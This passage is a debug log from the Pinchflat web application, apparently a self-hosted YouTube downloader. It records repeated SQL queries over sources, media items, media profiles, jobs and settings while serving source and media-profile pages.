= 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:09.693 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:09.693 [debug] QUERY OK source="media_items" db=0.0ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 06:03:09.693 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:09.694 [debug] QUERY OK source="sources" db=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:09.694 [debug] QUERY OK source="media_items" db=0.4ms idle=1.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 06:03:09.695 [debug] QUERY OK source="media_items" db=0.6ms idle=1.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:09.696 [info] Sent 200 in 9ms 06:03:09.846 [info] GET /sources/32/ 06:03:09.846 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 06:03:09.848 [debug] QUERY OK source="sources" db=0.4ms idle=154.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:09.849 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=155.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:09.851 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=156.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 06:03:09.852 [debug] QUERY OK source="oban_jobs" db=0.5ms idle=156.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 06:03:09.852 [debug] QUERY OK source="settings" db=0.1ms idle=156.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.852 [debug] QUERY OK source="settings" db=0.1ms idle=4.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.853 [debug] QUERY OK source="settings" db=0.1ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:09.854 [debug] QUERY OK source="sources" db=0.2ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:09.855 [debug] QUERY OK source="media_items" db=0.5ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 06:03:09.856 [debug] QUERY OK source="media_items" db=0.8ms idle=2.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:09.856 [debug] QUERY OK source="sources" db=0.2ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:09.856 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 06:03:09.857 [debug] QUERY OK source="media_items" db=0.3ms idle=2.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:09.857 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:09.858 [debug] QUERY OK source="media_items" db=0.5ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 06:03:09.859 [debug] QUERY OK source="media_items" db=1.0ms idle=2.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:09.860 [info] Sent 200 in 14ms 06:03:10.008 [info] GET /sources/32/ 06:03:10.008 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "32"} Pipelines: [:browser] 06:03:10.010 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=152.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:10.011 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=153.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:10.015 [debug] QUERY OK source="tasks" db=3.6ms queue=0.1ms idle=154.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [32, "executing", "available", "scheduled", "retryable"] 06:03:10.016 [debug] QUERY OK source="oban_jobs" db=0.4ms queue=0.1ms idle=157.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7276] 06:03:10.017 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=157.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.018 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=7.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.020 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 06:03:10.025 [debug] QUERY OK source="sources" db=0.5ms idle=9.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:10.027 [debug] QUERY OK source="media_items" db=1.3ms idle=9.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [32] 06:03:10.030 [debug] QUERY OK source="media_items" db=2.1ms queue=0.1ms idle=10.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:10.032 [debug] QUERY OK source="sources" db=0.6ms idle=13.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:10.033 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=12.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [32] 06:03:10.035 [debug] QUERY OK source="media_items" db=0.7ms idle=8.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:10.037 [debug] QUERY OK source="sources" db=0.5ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [32] 06:03:10.039 [debug] QUERY OK source="media_items" db=1.3ms idle=7.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [32] 06:03:10.042 [debug] QUERY OK source="media_items" db=2.2ms queue=0.1ms idle=7.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [32, 10, 0] 06:03:10.046 [info] Sent 200 in 37ms 06:03:10.206 [info] GET /media_profiles/1 06:03:10.206 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 06:03:10.207 [debug] QUERY OK source="media_profiles" db=0.4ms idle=173.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 06:03:10.209 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=173.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [1] 06:03:10.210 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=172.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 